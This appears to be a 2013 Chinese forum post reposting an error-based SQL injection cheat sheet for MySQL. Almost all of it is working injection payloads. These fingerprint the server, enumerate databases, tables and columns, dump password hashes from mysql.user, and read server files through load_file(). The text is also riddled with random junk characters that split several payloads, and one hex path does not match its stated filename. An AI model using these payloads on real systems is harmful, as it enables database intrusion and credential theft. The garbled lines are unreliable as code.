本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 * D. y2 w, }7 L: ?) E
% G2 u; M; U. }% {/ b9 @& ], t1 j/ |2 {" d' B% K
Mysql暴错注入参考(pdf),每天一贴。。。
8 Q" _3 H$ x+ }" W! V0 E6 k1 m1 ^/ `3 a
MySql Error Based Injection Reference: {" s/ v. Z/ A; V$ R# l9 e6 ~6 ^
[Mysql暴错注入参考]/ d# i' R" y5 ~6 r4 O1 g! b0 @, E U
Authornig0s1992$ ]3 p9 m5 P5 O! {2 W* {6 Y! E0 o
Blog:http://pnig0s1992.blog.51cto.com/& G9 O2 |4 J7 {- G D, q; N
TeAm:http://www.FreeBuf.com/
8 |5 E& @! Y) OMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功/ T* U. K2 b' V! [
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
8 V7 ^- [. {2 C& v% N) V/ s3 C查询版本:! \! ^2 l; S& g2 U6 Q* W
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+! E! K5 I. k/ [# C: c
join+(select+name_const(@@version,0))b)c)
- q* R' m8 n k- dMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro6 W3 O! T1 Q0 {% M9 }! f" Y' L, e- J
up by a)b)
8 v& D5 |8 ~1 E( v8 |查询当前用户:+ m2 { N# I& q* t+ f, l
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)1 o7 E8 m( g& J# v
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
) d$ |3 h! Z2 ^# l/ d9 V: n" G8 Band(0)*2))x+from+information_schema.tables+group+by+x)a)' Y7 C8 [) [( t% T
查询当前数据库:
: i# d2 t- N+ q# W9 J5 FMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
1 ?4 ~ m0 K6 ?Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo. p, S& n% M& M! M+ y* ?" w
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)5 W, S0 C. s1 o
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+" [% n7 ~- T& [, G: X K! t
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
6 D" M! ~1 V4 Z# l, \6 O# Z# M6 T7 X% B( N顺序替换9 W) b4 f. _+ a1 N- r
爆指定库数目:! F2 Z, }% B1 J
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t9 b2 ~& {' o: n7 H# F1 }5 _% t, ]
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group2 |- m' ?/ p' E
+by+x)a)+and+1=1 0x6D7973716C=mysql
2 I6 ]3 k: B* V9 b2 t* I依次爆表:) {! Q4 w" C3 E/ @6 j
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
1 V: w/ i# p3 `5 A7 r& Y) o# U8 @; uable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
9 M+ R$ C, d! B+ o' v% W5 `: O7 xbles+group+by+x)a)+and+1=1
: A3 D# U/ P" G9 R- v' @: Z0x6D7973716C=Mysql 将n顺序替换. {* M+ ?( b2 Q9 q% k
爆表内字段数目:
( k+ w4 Y/ j( Zand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
! v1 W% K4 ]: U+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
8 @- O! o7 ]7 L+ r0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
& N9 L8 Y8 U- e/ [2 b. a! }: W依次爆字段:
5 |0 K G3 ~4 |6 R4 I' M# ~' E& w; Pand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
8 _3 [& ~+ n& ~- ]5 Q8 J+ `7 n8 c0 e) t+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
1 P, R8 c7 I# r. M7 h) gloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
, u4 } I! W# B6 u& l" A依次暴内容:; W" M( w( E% ~9 r$ c8 B& K0 b
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche& z7 T% H$ m$ W$ q4 z" g% @, d
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
+ s; g, Z5 S3 Z( \5 l, \: Q将n顺序替换% L3 ?/ Y8 ^" W$ X8 r
爆文件内容:6 f) C; L, n Z0 G3 e* i' I- t+ Y& z
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
' L" _4 A- W+ X4 @from+information_schema.tables+group+by+a)b)
7 s7 e! L; N# u2 m3 O4 n0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节% X1 B, [4 ?3 ]% n8 c$ m
Thx for reading.
' j3 ]8 q7 v1 R1 D# Z9 ^ m/ f+ k* F3 ?( o* _% z2 k4 Y
不要下载也可以,
( b' D- m8 u T9 c" p$ r2 T! h |